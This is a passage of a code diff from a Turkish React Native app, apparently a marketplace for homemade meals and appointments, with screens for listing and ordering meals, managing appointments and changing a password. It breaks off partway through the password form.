fontSize: 13, fontWeight: '700', color: '#6B7280',
textTransform: 'uppercase', marginTop: 12, marginBottom: 8, letterSpacing: 1,
},
productRow: {
flexDirection: 'row', alignItems: 'center',
backgroundColor: '#FFFFFF', borderRadius: 10, padding: 14,
marginBottom: 6, gap: 12,
},
productInfo: {flex: 1},
productName: {fontSize: 15, fontWeight: '600', color: '#1A1A1A'},
productDesc: {fontSize: 12, color: '#9CA3AF', marginTop: 2},
productPriceCol: {alignItems: 'flex-end'},
productPrice: {fontSize: 16, fontWeight: '700', color: THEME},
productUnit: {fontSize: 11, color: '#9CA3AF'},
bookIcon: {fontSize: 18},
// Packages
packageCard: {
backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 10,
borderLeftWidth: 4, borderLeftColor: '#10B981',
},
packageHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 6},
packageTitle: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', flex: 1},
packageDiscount: {backgroundColor: '#EF4444', borderRadius: 6, paddingHorizontal: 8, paddingVertical: 2},
packageDiscountText: {fontSize: 12, fontWeight: '800', color: '#FFFFFF'},
packageDesc: {fontSize: 13, color: '#6B7280', lineHeight: 18, marginBottom: 10},
packageFooter: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center'},
packagePriceRow: {flexDirection: 'row', alignItems: 'baseline', gap: 8},
packagePrice: {fontSize: 20, fontWeight: '800', color: '#10B981'},
packageOriginal: {fontSize: 14, color: '#9CA3AF', textDecorationLine: 'line-through'},
buyBtn: {
backgroundColor: '#10B981', borderRadius: 10,
paddingHorizontal: 20, paddingVertical: 10,
},
buyBtnText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
// Loyalty
loyaltyCard: {backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 8},
loyaltyName: {fontSize: 16, fontWeight: '600', color: '#1A1A1A', marginBottom: 4},
loyaltyReward: {fontSize: 14, color: '#059669', marginBottom: 12},
progressBar: {flexDirection: 'row', alignItems: 'center', gap: 10},
progressTrack: {flex: 1, height: 8, backgroundColor: '#F3F4F6', borderRadius: 4, overflow: 'hidden'},
progressFill: {height: '100%', backgroundColor: THEME, borderRadius: 4},
progressText: {fontSize: 13, fontWeight: '600', color: '#374151'},
loyaltyJoin: {fontSize: 13, color: '#9CA3AF', fontStyle: 'italic'},
// Contact
contactCard: {backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, gap: 10},
contactItem: {fontSize: 14, color: '#374151'},
contactItemLink: {fontSize: 14, color: THEME, fontWeight: '600'},
});
@@ -0,0 +1,353 @@
import React, {useEffect, useState, useCallback} from 'react';
import {useFocusEffect} from '@react-navigation/native';
import {
View,
Text,
FlatList,
TouchableOpacity,
StyleSheet,
RefreshControl,
StatusBar,
TextInput,
Image,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useLocationStore} from '../../store/locationStore';
import * as mealsApi from '../../api/meals';
import type {MealNearby} from '../../types/models';
import {useTranslation} from 'react-i18next';
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
import OfflineBanner from '../../components/OfflineBanner';
const THEME = '#C68B1E'; // Amber/gold theme for Komşu
const THEME_DARK = '#92400E';
const THEME_LIGHT = '#FEF3C7';
const BASE_URL = 'https://bereketli.pezkiwi.app';
const MEAL_IMAGES: Record<string, string> = {
corba: `${BASE_URL}/meal-soup.png`,
soup: `${BASE_URL}/meal-soup.png`,
mercimek: `${BASE_URL}/meal-soup.png`,
borek: `${BASE_URL}/meal-borek.jpg`,
ispanak: `${BASE_URL}/meal-borek.jpg`,
fasulye: `${BASE_URL}/meal-fasulye.jpg`,
pilav: `${BASE_URL}/meal-fasulye.jpg`,
karniyarik: `${BASE_URL}/meal-karniyarik.jpg`,
patlican: `${BASE_URL}/meal-karniyarik.jpg`,
};
function getMealImage(title: string): string {
const lower = title.toLowerCase();
for (const [key, url] of Object.entries(MEAL_IMAGES)) {
if (lower.includes(key)) return url;
}
return `${BASE_URL}/homemade-meal.png`;
}
export default function KomsuListScreen({navigation}: any) {
const {t} = useTranslation();
const {latitude, longitude, updateLocation} = useLocationStore();
const [meals, setMeals] = useState<MealNearby[]>([]);
const [loading, setLoading] = useState(false);
const [searchQuery, setSearchQuery] = useState('');
const [radius, setRadius] = useState(0); // Default: Tümü
const insets = useSafeAreaInsets();
const fetchMeals = useCallback(async () => {
setLoading(true);
try {
let data: MealNearby[];
if (radius === 0) {
data = await mealsApi.getAllMeals();
} else if (latitude && longitude) {
data = await mealsApi.getNearbyMeals(latitude, longitude, radius);
} else {
data = [];
}
setMeals(data);
} catch {
// Silent fail
} finally {
setLoading(false);
}
}, [latitude, longitude, radius]);
useEffect(() => {
updateLocation();
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
}, []);
useEffect(() => {
fetchMeals();
}, [fetchMeals]);
const filteredMeals = searchQuery.trim()
? meals.filter(
m =>
m.title.toLowerCase().includes(searchQuery.toLowerCase()) ||
m.cook_name.toLowerCase().includes(searchQuery.toLowerCase()),
)
: meals;
const formatDistance = (m: number) =>
m < 1000 ? `${Math.round(m)}m` : `${(m / 1000).toFixed(1)}km`;
const renderMealCard = ({item}: {item: MealNearby}) => (
<View style={styles.cardWrapper}>
<TouchableOpacity style={styles.card} activeOpacity={0.9} onPress={() => navigation.navigate('MealDetail', {mealId: item.id, cookName: item.cook_name})}>
{/* Image */}
<View style={styles.cardImage}>
<Image
source={{uri:
item.photos && item.photos.length > 0
? (item.photos[0].startsWith('http') ? item.photos[0] : `${BASE_URL}${item.photos[0]}`)
: getMealImage(item.title)
}}
style={styles.cardImg}
resizeMode="cover"
/>
{/* Delivery badge */}
<View style={[styles.deliveryBadge, {backgroundColor: item.pickup_or_delivery === 'delivery' ? '#10B981' : THEME}]}>
<Text style={styles.deliveryText}>
{item.pickup_or_delivery === 'pickup' ? t('meals.pickup') :
item.pickup_or_delivery === 'delivery' ? t('meals.delivery') : t('meals.pickupOrDelivery')}
</Text>
</View>
{/* Portions badge */}
{item.remaining_portions <= 3 && (
<View style={styles.portionBadge}>
<Text style={styles.portionText}>{t('meals.lastPortions', {count: item.remaining_portions})}</Text>
</View>
)}
</View>
{/* Info */}
<View style={styles.cardInfo}>
<View style={styles.cardNameRow}>
<Text style={styles.cardCookName} numberOfLines={1}>{item.cook_name}</Text>
{item.distance_m > 0 && (
<Text style={styles.cardDistance}>📍 {formatDistance(item.distance_m)}</Text>
)}
</View>
<Text style={styles.cardTitle} numberOfLines={2}>{item.title}</Text>
{item.description && (
<Text style={styles.cardDesc} numberOfLines={1}>{item.description}</Text>
)}
<View style={styles.cardPriceRow}>
<Text style={styles.cardPrice}>{item.price_per_portion.toFixed(0)} TL</Text>
<Text style={styles.cardPriceLabel}> / porsiyon</Text>
{item.remaining_portions > 3 && (
<Text style={styles.cardPortions}>{item.remaining_portions} porsiyon</Text>
)}
</View>
</View>
</TouchableOpacity>
</View>
);
const renderScrollHeader = () => (
<>
{/* ── Distance ── */}
<View style={styles.distanceSection}>
<View style={styles.distanceHeader}>
<Text style={styles.distanceLabel}>📍 {t('common.distance')}</Text>
<Text style={styles.distanceValue}>
{radius === 0 ? t('common.all') : radius >= 1000 ? `${(radius / 1000).toFixed(1)} km` : `${radius}m`}
</Text>
</View>
<View style={styles.distanceSliderRow}>
{([500, 1000, 2000, 3000, 5000, 0] as number[]).map(r => (
<TouchableOpacity
key={r}
style={[styles.distanceChip, radius === r && styles.distanceChipActive]}
onPress={() => setRadius(r)}>
<Text style={[styles.distanceChipText, radius === r && styles.distanceChipTextActive]}>
{r === 0 ? t('common.all') : r >= 1000 ? `${r / 1000}km` : `${r}m`}
</Text>
</TouchableOpacity>
))}
</View>
</View>
{/* ── Section Title ── */}
<View style={styles.sectionHeader}>
<Text style={styles.sectionTitle}>{t('meals.nearbyMeals')}</Text>
{filteredMeals.length > 0 && (
<Text style={styles.sectionCount}>{t('meals.mealCount', {count: filteredMeals.length})}</Text>
)}
</View>
</>
);
useFocusEffect(
useCallback(() => {
StatusBar.setBarStyle('light-content');
StatusBar.setBackgroundColor(THEME);
}, []),
);
return (
<View style={styles.container}>
{/* ── Sticky Header ── */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<View style={styles.headerRow}>
<View>
<Text style={styles.headerTitle}>{t('meals.title')}</Text>
<Text style={styles.headerSubtitle}>{t('meals.subtitle')}</Text>
</View>
<TouchableOpacity style={styles.headerIconBtn} onPress={() => navigation.navigate('AiChat')}>
<Icon name="robot" size={20} color="#FFFFFF" />
<Text style={styles.aiLabel}>AI</Text>
</TouchableOpacity>
</View>
<View style={styles.searchBar}>
<Text style={styles.searchIcon}>🔍</Text>
<TextInput
style={styles.searchInput}
placeholder={t('meals.searchPlaceholder')}
placeholderTextColor="#9CA3AF"
value={searchQuery}
onChangeText={setSearchQuery}
/>
{searchQuery.length > 0 && (
<TouchableOpacity onPress={() => setSearchQuery('')}>
<Text style={styles.clearIcon}></Text>
</TouchableOpacity>
)}
</View>
</View>
<OfflineBanner />
{/* ── Scrollable ── */}
<FlatList
data={filteredMeals}
keyExtractor={item => item.id}
renderItem={renderMealCard}
ListHeaderComponent={renderScrollHeader}
contentContainerStyle={styles.list}
refreshControl={
<RefreshControl refreshing={loading} onRefresh={fetchMeals} colors={[THEME]} />
}
ListEmptyComponent={
!loading ? (
<View style={styles.empty}>
<View style={styles.emptyIconContainer}>
<Text style={styles.emptyIconText}>🍲</Text>
</View>
<Text style={styles.emptyTitle}>{t('meals.emptyTitle')}</Text>
<Text style={styles.emptyText}>{t('meals.emptyText')}</Text>
</View>
) : null
}
/>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
// Header
header: {
backgroundColor: THEME,
paddingBottom: 16,
paddingHorizontal: 16,
},
headerRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 12,
},
headerTitle: {fontSize: 22, fontWeight: '700', color: '#FFFFFF'},
headerSubtitle: {fontSize: 13, color: 'rgba(255,255,255,0.7)', fontWeight: '500', marginTop: 2},
headerIconBtn: {
width: 40, height: 40, borderRadius: 20,
backgroundColor: 'rgba(255,255,255,0.15)',
justifyContent: 'center', alignItems: 'center',
},
headerIcon: {fontSize: 18},
aiLabel: {fontSize: 8, fontWeight: '700', color: '#FFFFFF', marginTop: 1},
// Search
searchBar: {
flexDirection: 'row', alignItems: 'center',
backgroundColor: '#FFFFFF', borderRadius: 12,
paddingHorizontal: 14, height: 46, gap: 10,
},
searchIcon: {fontSize: 16},
searchInput: {flex: 1, fontSize: 14, color: '#1A1A1A', padding: 0},
clearIcon: {fontSize: 16, color: '#9CA3AF', padding: 4},
// Distance
distanceSection: {
backgroundColor: '#FFFFFF', paddingHorizontal: 16, paddingVertical: 12,
borderBottomWidth: 1, borderBottomColor: '#F3F4F6',
},
distanceHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 8},
distanceLabel: {fontSize: 13, fontWeight: '600', color: '#374151'},
distanceValue: {fontSize: 13, fontWeight: '700', color: THEME},
distanceSliderRow: {flexDirection: 'row', gap: 8},
distanceChip: {
flex: 1, paddingVertical: 8, borderRadius: 20,
backgroundColor: '#F3F4F6', alignItems: 'center',
},
distanceChipActive: {backgroundColor: THEME},
distanceChipText: {fontSize: 12, fontWeight: '600', color: '#6B7280'},
distanceChipTextActive: {color: '#FFFFFF'},
// Section
sectionHeader: {
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
paddingHorizontal: 16, paddingTop: 20, paddingBottom: 12,
},
sectionTitle: {fontSize: 20, fontWeight: '700', color: '#1A1A1A'},
sectionCount: {fontSize: 13, color: '#9CA3AF', fontWeight: '500'},
// List
list: {paddingBottom: 100},
cardWrapper: {paddingHorizontal: 16},
// Card
card: {
backgroundColor: '#FFFFFF', borderRadius: 12,
marginBottom: 12, overflow: 'hidden',
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
},
cardImage: {height: 160, position: 'relative', backgroundColor: THEME_LIGHT},
cardImg: {width: '100%', height: '100%'},
deliveryBadge: {
position: 'absolute', bottom: 10, left: 10,
borderRadius: 6, paddingHorizontal: 10, paddingVertical: 3,
},
deliveryText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
portionBadge: {
position: 'absolute', top: 10, right: 10,
backgroundColor: '#F59E0B', borderRadius: 6,
paddingHorizontal: 10, paddingVertical: 3,
},
portionText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
cardInfo: {padding: 12},
cardNameRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4},
cardCookName: {fontSize: 13, fontWeight: '600', color: THEME_DARK, flex: 1},
cardDistance: {fontSize: 12, color: '#9CA3AF'},
cardTitle: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', marginBottom: 4, lineHeight: 22},
cardDesc: {fontSize: 13, color: '#6B7280', marginBottom: 8},
cardPriceRow: {flexDirection: 'row', alignItems: 'baseline'},
cardPrice: {fontSize: 18, fontWeight: '800', color: THEME},
cardPriceLabel: {fontSize: 13, color: '#6B7280'},
cardPortions: {fontSize: 12, color: '#9CA3AF', marginLeft: 'auto'},
// Empty
empty: {alignItems: 'center', paddingTop: 48, paddingHorizontal: 40},
emptyIconContainer: {
width: 80, height: 80, borderRadius: 40,
backgroundColor: THEME_LIGHT, justifyContent: 'center', alignItems: 'center', marginBottom: 16,
},
emptyIconText: {fontSize: 36},
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center'},
});
@@ -0,0 +1,234 @@
import React, {useEffect, useState} from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
ScrollView,
Image,
Alert,
ActivityIndicator,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import * as mealsApi from '../../api/meals';
import type {MealListing} from '../../types/models';
const BASE_URL = 'https://bereketli.pezkiwi.app';
const THEME = '#C68B1E';
const MEAL_IMAGES: Record<string, string> = {
corba: `${BASE_URL}/meal-soup.png`,
soup: `${BASE_URL}/meal-soup.png`,
borek: `${BASE_URL}/meal-borek.png`,
fasulye: `${BASE_URL}/meal-fasulye.png`,
karniyarik: `${BASE_URL}/meal-karniyarik.png`,
};
function getMealImage(title: string): string {
const lower = title.toLowerCase();
for (const [key, url] of Object.entries(MEAL_IMAGES)) {
if (lower.includes(key)) return url;
}
return `${BASE_URL}/homemade-meal.png`;
}
function formatTime(iso: string): string {
const d = new Date(iso);
return `${d.getHours().toString().padStart(2, '0')}:${d.getMinutes().toString().padStart(2, '0')}`;
}
export default function MealDetailScreen({route, navigation}: any) {
const {t} = useTranslation();
const {mealId, cookName} = route.params;
const [meal, setMeal] = useState<MealListing | null>(null);
const [loading, setLoading] = useState(true);
const [ordering, setOrdering] = useState(false);
const [portions, setPortions] = useState(1);
const insets = useSafeAreaInsets();
useEffect(() => {
mealsApi.getMeal(mealId).then(data => {
setMeal(data);
setLoading(false);
}).catch(() => setLoading(false));
}, [mealId]);
const handleOrder = async () => {
if (!meal) return;
setOrdering(true);
try {
const order = await mealsApi.orderMeal(mealId, portions);
Alert.alert(
'Sipariş Verildi!',
`Sipariş #${order.id.slice(0, 8).toUpperCase()}\n${portions} porsiyon ${meal.title}\nToplam: ${(meal.price_per_portion * portions).toFixed(0)} TL\n\nAşçı onayladıktan sonra bilgilendirileceksiniz.`,
[{text: 'Tamam', onPress: () => navigation.goBack()}],
);
} catch (err: any) {
const msg = err?.response?.data?.message || 'Sipariş oluşturulamadı.';
Alert.alert('Hata', msg);
} finally {
setOrdering(false);
}
};
if (loading) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={THEME} />
</View>
);
}
if (!meal) {
return (
<View style={styles.loadingContainer}>
<Text style={styles.errorText}>{t('mealDetail.notFound')}</Text>
</View>
);
}
const photoUri = meal.photos && meal.photos.length > 0
? (meal.photos[0].startsWith('http') ? meal.photos[0] : `${BASE_URL}${meal.photos[0]}`)
: getMealImage(meal.title);
const total = meal.price_per_portion * portions;
return (
<View style={styles.container}>
{/* Header */}
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}></Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('mealDetail.title')}</Text>
<View style={{width: 40}} />
</View>
<ScrollView contentContainerStyle={styles.scroll}>
{/* Image */}
<Image source={{uri: photoUri}} style={styles.image} resizeMode="cover" />
{/* Info */}
<View style={styles.info}>
<Text style={styles.cookName}>{cookName || t('mealDetail.defaultCook')}</Text>
<Text style={styles.title}>{meal.title}</Text>
{meal.description && (
<Text style={styles.description}>{meal.description}</Text>
)}
{/* Details */}
<View style={styles.detailCard}>
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>Fiyat</Text>
<Text style={styles.detailValue}>{meal.price_per_portion.toFixed(0)} TL / porsiyon</Text>
</View>
<View style={styles.detailDivider} />
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>Müsait</Text>
<Text style={styles.detailValue}>{formatTime(meal.available_until)}'e kadar</Text>
</View>
<View style={styles.detailDivider} />
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>Kalan</Text>
<Text style={styles.detailValue}>{meal.remaining_portions} / {meal.total_portions} porsiyon</Text>
</View>
<View style={styles.detailDivider} />
<View style={styles.detailRow}>
<Text style={styles.detailLabel}>Teslim</Text>
<Text style={styles.detailValue}>
{meal.pickup_or_delivery === 'pickup' ? 'Gel Al' :
meal.pickup_or_delivery === 'delivery' ? 'Adrese Teslimat' : 'Gel Al / Teslimat'}
</Text>
</View>
</View>
{/* Portion selector */}
<View style={styles.portionSection}>
<Text style={styles.portionLabel}>Porsiyon</Text>
<View style={styles.portionSelector}>
<TouchableOpacity
style={styles.portionBtn}
onPress={() => setPortions(Math.max(1, portions - 1))}>
<Text style={styles.portionBtnText}></Text>
</TouchableOpacity>
<Text style={styles.portionCount}>{portions}</Text>
<TouchableOpacity
style={styles.portionBtn}
onPress={() => setPortions(Math.min(meal.remaining_portions, portions + 1))}>
<Text style={styles.portionBtnText}>+</Text>
</TouchableOpacity>
</View>
</View>
</View>
</ScrollView>
{/* Bottom bar */}
<View style={[styles.bottomBar, {paddingBottom: Math.max(insets.bottom, 20)}]}>
<View>
<Text style={styles.totalLabel}>Toplam</Text>
<Text style={styles.totalPrice}>{total.toFixed(0)} TL</Text>
</View>
<TouchableOpacity
style={[styles.orderBtn, ordering && {opacity: 0.6}]}
onPress={handleOrder}
disabled={ordering || meal.remaining_portions === 0}>
<Text style={styles.orderBtnText}>
{ordering ? t('mealDetail.ordering') : meal.remaining_portions === 0 ? t('mealDetail.soldOut') : t('mealDetail.order')}
</Text>
</TouchableOpacity>
</View>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
errorText: {fontSize: 16, color: '#9CA3AF'},
header: {
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: THEME,
},
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
backIcon: {fontSize: 22, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
scroll: {paddingBottom: 120},
image: {width: '100%', height: 220},
info: {padding: 16},
cookName: {fontSize: 14, fontWeight: '600', color: THEME, marginBottom: 4},
title: {fontSize: 22, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
description: {fontSize: 15, color: '#6B7280', lineHeight: 22, marginBottom: 16},
detailCard: {backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 16},
detailRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', paddingVertical: 10},
detailDivider: {height: 1, backgroundColor: '#F3F4F6'},
detailLabel: {fontSize: 14, color: '#6B7280'},
detailValue: {fontSize: 14, fontWeight: '600', color: '#1A1A1A'},
portionSection: {
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16,
},
portionLabel: {fontSize: 16, fontWeight: '600', color: '#1A1A1A'},
portionSelector: {flexDirection: 'row', alignItems: 'center', gap: 16},
portionBtn: {
width: 40, height: 40, borderRadius: 20,
backgroundColor: '#F3F4F6', justifyContent: 'center', alignItems: 'center',
},
portionBtnText: {fontSize: 20, fontWeight: '600', color: '#1A1A1A'},
portionCount: {fontSize: 20, fontWeight: '700', color: '#1A1A1A', minWidth: 30, textAlign: 'center'},
bottomBar: {
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
paddingHorizontal: 20, paddingTop: 16,
backgroundColor: '#FFFFFF', borderTopWidth: 1, borderTopColor: '#F3F4F6',
},
totalLabel: {fontSize: 12, color: '#9CA3AF'},
totalPrice: {fontSize: 22, fontWeight: '800', color: THEME},
orderBtn: {backgroundColor: THEME, borderRadius: 12, paddingHorizontal: 28, paddingVertical: 14},
orderBtnText: {fontSize: 16, fontWeight: '700', color: '#FFFFFF'},
});
@@ -0,0 +1,174 @@
import React, {useEffect, useState} from 'react';
import {
View,
Text,
FlatList,
TouchableOpacity,
StyleSheet,
ActivityIndicator,
Alert,
RefreshControl,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import {colors} from '../../theme';
import * as merchantsApi from '../../api/merchants';
import type {Appointment} from '../../api/merchants';
const STATUS_LABELS: Record<string, {label: string; color: string; bg: string}> = {
pending: {label: 'Bekliyor', color: '#D97706', bg: '#FEF3C7'},
confirmed: {label: 'Onaylandı', color: '#059669', bg: '#D1FAE5'},
completed: {label: 'Tamamlandı', color: '#6B7280', bg: '#F3F4F6'},
cancelled: {label: 'İptal', color: '#DC2626', bg: '#FEE2E2'},
no_show: {label: 'Gelmedi', color: '#9CA3AF', bg: '#F3F4F6'},
};
export default function AppointmentsScreen({navigation}: any) {
const {t} = useTranslation();
const [appointments, setAppointments] = useState<Appointment[]>([]);
const [loading, setLoading] = useState(true);
const [refreshing, setRefreshing] = useState(false);
const insets = useSafeAreaInsets();
const fetchAppointments = async (isRefresh = false) => {
if (isRefresh) setRefreshing(true);
else setLoading(true);
try {
const data = await merchantsApi.getMyAppointments();
setAppointments(data);
} catch {
// Silent
} finally {
setLoading(false);
setRefreshing(false);
}
};
useEffect(() => {
fetchAppointments();
}, []);
const handleCancel = async (id: string) => {
Alert.alert('Randevu İptal', 'Bu randevuyu iptal etmek istediğinizden emin misiniz?', [
{text: 'Vazgeç', style: 'cancel'},
{
text: 'İptal Et',
style: 'destructive',
onPress: async () => {
try {
await merchantsApi.cancelAppointment(id);
fetchAppointments();
} catch {
Alert.alert('Hata', 'Randevu iptal edilemedi.');
}
},
},
]);
};
const formatDate = (dateStr: string) => {
const d = new Date(dateStr);
const days = ['Pazar', 'Pazartesi', 'Salı', 'Çarşamba', 'Perşembe', 'Cuma', 'Cumartesi'];
return `${d.getDate()}.${(d.getMonth() + 1).toString().padStart(2, '0')} ${days[d.getDay()]}`;
};
if (loading && appointments.length === 0) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={colors.primary} />
</View>
);
}
return (
<View style={styles.container}>
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}></Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('appointments.title')}</Text>
<View style={{width: 40}} />
</View>
<FlatList
data={appointments}
keyExtractor={item => item.id}
contentContainerStyle={styles.list}
refreshControl={
<RefreshControl refreshing={refreshing} onRefresh={() => fetchAppointments(true)} colors={[colors.primary]} />
}
renderItem={({item}) => {
const status = STATUS_LABELS[item.status] || STATUS_LABELS.pending;
return (
<View style={styles.card}>
<View style={styles.cardHeader}>
<Text style={styles.merchantName}>{item.merchant_name}</Text>
<View style={[styles.statusBadge, {backgroundColor: status.bg}]}>
<Text style={[styles.statusText, {color: status.color}]}>{status.label}</Text>
</View>
</View>
<Text style={styles.serviceName}>{item.service_name}</Text>
<View style={styles.cardMeta}>
<Text style={styles.metaItem}>📅 {formatDate(item.appointment_date)}</Text>
<Text style={styles.metaItem}>🕐 {item.time_slot}</Text>
<Text style={styles.metaItem}> {item.duration_minutes} dk</Text>
{item.price != null && (
<Text style={styles.metaPrice}>{item.price.toFixed(0)} TL</Text>
)}
</View>
{item.notes && <Text style={styles.notes}>{item.notes}</Text>}
{(item.status === 'pending' || item.status === 'confirmed') && (
<TouchableOpacity style={styles.cancelBtn} onPress={() => handleCancel(item.id)}>
<Text style={styles.cancelBtnText}>İptal Et</Text>
</TouchableOpacity>
)}
</View>
);
}}
ListEmptyComponent={
<View style={styles.empty}>
<Text style={styles.emptyIcon}>📅</Text>
<Text style={styles.emptyTitle}>{t('appointments.emptyTitle')}</Text>
<Text style={styles.emptyText}>{t('appointments.emptyText')}</Text>
</View>
}
/>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
header: {
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: colors.primary,
},
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
backIcon: {fontSize: 22, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
list: {padding: 16, paddingBottom: 100},
card: {
backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 12,
shadowColor: '#000', shadowOffset: {width: 0, height: 1}, shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
},
cardHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 6},
merchantName: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', flex: 1},
statusBadge: {borderRadius: 6, paddingHorizontal: 10, paddingVertical: 3},
statusText: {fontSize: 12, fontWeight: '700'},
serviceName: {fontSize: 15, fontWeight: '500', color: '#374151', marginBottom: 10},
cardMeta: {flexDirection: 'row', flexWrap: 'wrap', gap: 12},
metaItem: {fontSize: 13, color: '#6B7280'},
metaPrice: {fontSize: 14, fontWeight: '700', color: colors.primary},
notes: {fontSize: 13, color: '#9CA3AF', fontStyle: 'italic', marginTop: 8},
cancelBtn: {
marginTop: 12, alignSelf: 'flex-start',
paddingHorizontal: 16, paddingVertical: 8, borderRadius: 8,
borderWidth: 1, borderColor: '#EF4444',
},
cancelBtnText: {fontSize: 13, fontWeight: '600', color: '#EF4444'},
empty: {alignItems: 'center', paddingTop: 48},
emptyIcon: {fontSize: 48, marginBottom: 12},
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 6},
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center', paddingHorizontal: 40},
});
@@ -0,0 +1,155 @@
import React, {useState} from 'react';
import {
View,
Text,
TextInput,
TouchableOpacity,
StyleSheet,
Alert,
KeyboardAvoidingView,
Platform,
ScrollView,
} from 'react-native';
import {useTranslation} from 'react-i18next';
import {colors, spacing, typography, borderRadius} from '../../theme';
import {changePassword} from '../../api/profile';
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
type RootStackParamList = {
ChangePassword: undefined;
};
type Props = NativeStackScreenProps<RootStackParamList, 'ChangePassword'>;
export default function ChangePasswordScreen({navigation}: Props) {
const {t} = useTranslation();
const [currentPassword, setCurrentPassword] = useState('');
const [newPassword, setNewPassword] = useState('');
const [confirmPassword, setConfirmPassword] = useState('');
const [loading, setLoading] = useState(false);
const handleSubmit = async () => {
if (!currentPassword || !newPassword || !confirmPassword) {
Alert.alert(t('common.error'), t('changePassword.allFieldsRequired'));
return;
}
if (newPassword.length < 8) {
Alert.alert(t('common.error'), t('changePassword.passwordMinLength'));
return;
}
if (newPassword !== confirmPassword) {
Alert.alert(t('common.error'), t('changePassword.passwordMismatch'));
return;
}
setLoading(true);
try {
await changePassword(currentPassword, newPassword);
Alert.alert(t('changePassword.successTitle'), t('changePassword.success'), [
{text: t('common.ok'), onPress: () => navigation.goBack()},
]);
} catch {
Alert.alert(t('common.error'), t('changePassword.failed'));
} finally {
setLoading(false);
}
};
return (
<KeyboardAvoidingView
style={styles.container}
behavior={Platform.OS === 'ios' ? 'padding' : 'height'}>
<ScrollView contentContainerStyle={styles.scroll} keyboardShouldPersistTaps="handled">
{/* Back button */}
<TouchableOpacity
style={styles.backButton}
onPress={() => navigation.goBack()}>
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
</TouchableOpacity>
<Text style={styles.title}>{t('changePassword.title')}</Text>
<Text style={styles.subtitle}>
{t('changePassword.subtitle')}
</Text>
<View style={styles.form}>
<Text style={styles.label}>Mevcut Sifre</Text>
<TextInput
style={styles.input}
value={currentPassword}
onChangeText={setCurrentPassword}
placeholder="Mevcut sifreniz"
placeholderTextColor={colors.textLight}
secureTextEntry
/>
<Text style={styles.label}>Yeni Sifre</Text>
<TextInput
style={styles.input}
value={newPassword}
onChangeText={setNewPassword}
placeholder="En az 8 karakter"
placeholderTextColor={colors.textLight}
secureTextEntry
/>
<Text style={styles.label}>Yeni Sifre Tekrar</Text>
<TextInput
style={styles.input}
value={confirmPassword}
